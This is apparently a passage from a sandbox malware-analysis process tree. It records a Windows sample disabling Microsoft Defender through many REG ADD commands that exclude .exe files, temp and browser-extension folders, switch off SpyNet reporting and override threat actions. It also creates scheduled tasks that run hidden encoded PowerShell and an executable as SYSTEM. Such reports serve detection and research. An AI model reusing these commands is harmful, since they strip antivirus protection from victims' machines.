                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                                                6⤵
                                                                                                  PID:224
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                    7⤵
                                                                                                      PID:5772
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                        8⤵
                                                                                                          PID:5968
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                                                          8⤵
                                                                                                            PID:4924
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                                                        6⤵
                                                                                                          PID:3452
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                            7⤵
                                                                                                              PID:2440
                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                                8⤵
                                                                                                                  PID:5884
                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                                                  8⤵
                                                                                                                    PID:1460
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "gBsBRFkNk" /SC once /ST 10:33:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                6⤵
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:2112
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "gBsBRFkNk"
                                                                                                                6⤵
                                                                                                                  PID:4024
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /DELETE /F /TN "gBsBRFkNk"
                                                                                                                  6⤵
                                                                                                                    PID:3472
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 13:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JTzAdqm.exe\" id /JDsite_idDPR 385118 /S" /V1 /F
                                                                                                                    6⤵
                                                                                                                    • Creates scheduled task(s)
                                                                                                                    PID:5724
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4988 -ip 4988
                                                                                                          1⤵
                                                                                                            PID:3472
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1672 -ip 1672
                                                                                                            1⤵
                                                                                                              PID:1720
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                              1⤵
                                                                                                                PID:4596
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                1⤵
                                                                                                                  PID:1488
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4812 -ip 4812
                                                                                                                  1⤵
                                                                                                                    PID:5620
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4812 -ip 4812
                                                                                                                    1⤵
                                                                                                                      PID:5776
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                      1⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:4200
                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                        2⤵
                                                                                                                          PID:2084
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                        1⤵
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:4204
                                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                          2⤵
                                                                                                                            PID:1328
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 820 -ip 820
                                                                                                                          1⤵
                                                                                                                            PID:5484
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                            1⤵
                                                                                                                              PID:5612
                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                              1⤵
                                                                                                                                PID:6032
                                                                                                                              • C:\Windows\system32\gpscript.exe
                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                1⤵
                                                                                                                                  PID:2460
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JTzAdqm.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JTzAdqm.exe id /JDsite_idDPR 385118 /S
                                                                                                                                  1⤵
                                                                                                                                    PID:1296
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                      2⤵
                                                                                                                                        PID:6104
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:5064
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                              4⤵
                                                                                                                                                PID:1112
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:5440
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:2408
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5956
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3980
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3196
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3424
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1460
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5752
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5816
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5636
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5664
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5976
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5184
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4236
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:3964
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5176
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2224
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5536
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5808
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1976
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3252
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4200
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5436
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5568
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1708
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5804
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:2984
                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1604
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3740
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:184
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:2172
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5276
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:976
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                3⤵
